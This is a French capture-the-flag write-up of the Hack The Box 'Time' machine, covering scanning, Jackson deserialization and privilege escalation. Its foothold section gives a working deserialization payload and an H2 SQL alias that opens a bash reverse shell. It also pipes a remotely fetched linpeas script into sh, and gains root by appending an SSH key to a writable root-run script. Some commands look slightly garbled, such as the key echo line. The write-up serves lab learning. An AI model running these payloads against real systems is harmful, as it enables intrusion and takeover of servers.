0x1 - Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu (Ubuntu Linux;
protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On peut apercevoir qu’il y a les ports suivants qui sont ouverts :
80/http
22/ssh
Et un Système d’exploitation Linux
.
Nous allons jeter un coup d’œil au port http/80
pour voir ce qu’il y’a d’intéressant.
0x2 - Enumération web
Nous voyons un embellisseur et un validateur json en ligne avec 2 options, "Beatify"
et "Validate! (Beta)"
.
J’ai intercepté les deux options via burpsuite
et je viens de saisir un échantillon de données JSON
dans le champ de saisie, sélectionnez l’option Beautify
et cliquez sur le bouton PROCESS
. Nous pouvons voir que cela fonctionne.
Maintenant, essayez la même chose sur "Validate! (Beta)"
options :
Vous avez une erreur!
Validation failed: Unhandled Java exception:com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token(START_OBJECT), expected START_ARRAY: need JSON Array to containAs.WRAPPER_ARRAY type information for class java.lang.Object
J’ai collé le message d’erreur dans la barre de recherche google : Unexpected token(START_OBJECT), expected START_ARRAY: need JSON Array to containAs.WRAPPER_ARRAY type information for class java.lang.Object
Je suis tombé sur un article de stackoverflow
, expliquant l’erreur en question.
article here
Après l’avoir lu, j’ai compris que l’erreur est liée à Jackson Polymorphic Deserialization expected START_ARRAY
.
On a la possibilité d’exécuter des scripts SQL
sur la database H2.
Ceci est expliqué sur l’article : article
0x3 - Foothold
Maintenant, vous devez créer un fichier ak.sql
et ajouter un reverse shell en bash pour qu’il me rappelle. :
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i &>/dev/tcp/tun0/1337 0>&1 &')
Maintenant démarrer un listenner avec netcat sur le port 1337 :
nc -nvlp 1337
listening on [any] 1337 ...
Amorcer un serveur python où est située votre fichier ak.sql :
sudo python -m SimpleHTTPServer
Et injecter votre payload sur l’option : "Validate!(Beta)"
.
[“ch.qos.logback.core.db.DriverManagerConnectionSource”,{“url”:”jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ‘http://IP:PORT/ak.sql'”}]
Et vous obtenez un reverse shell sur l’user pericles.
listening on [any] 1337 ...
connect to [10.10.14.90] from (UNKNOWN) [10.10.10.214] 42212
Pour avoir un reverse shell stable type :
$python -c “import pty;pty.spawn(‘/bin/bash’)”
$export TERM=xterm
Vous obtenez l’user flag :
pericles@time:/home/pericles$ cat user.txt
cat user.txt
7u7243a41d508868b8c935c47b554ad7
0x4 - Privilege Escalation
Maintenant nous allons upload Linpeas
( LinPEAS est un script qui recherche des chemins possibles pour augmenter les privilèges sous Linux ).
Installer linpeas : Linpeas
Start un serveur python où se trouve votre fichier linpeas.sh et curl vers la machine cible.
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
Nous pouvons voir que root a accédé à ce fichier: «/usr/bin/timer_backup.sh»
. Qui appartient à votre utilisateur et est accessible en écriture et writeable.
Vous devez créer votre clé ssh, ajouter notre clé publique SSH au fichier allowed_keys
sur le serveur. Pour ce faire, suivez les commandes suivants :
ssh-keygen
( no passphrase )
Copier votre clée id_rsa.pub key
Et effectuez cette command sur la machine cible. : echo "echo id_rsa.pub >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh
Maintenant vous faites un chmod 600
pour avoirs les permissions puis vous vous connecter au port ssh avec la clée id_rsa
:
chmod 600 id_rsa && ssh -i id_rsa root@10.10.10.214
Done !
root@time:~# whoami
root
root@time:~# id
uid=0(root) gid=0(root) groups=0(root)
Nous avons root la machine avec succès.
root@time:~# cat /root/root.txt
adsd9hf0c86b8786477033415e3018a4
Summary Of Knowledge :
- Java Deserialization
- System Timer Exploitation
About me :
- Post author : x0ld
- Github : https://github.com/x0ld
- Twitter : @x0ld7
- Discord : x0ld#8106
- HTB : https://www.hackthebox.eu/home/users/profile/491690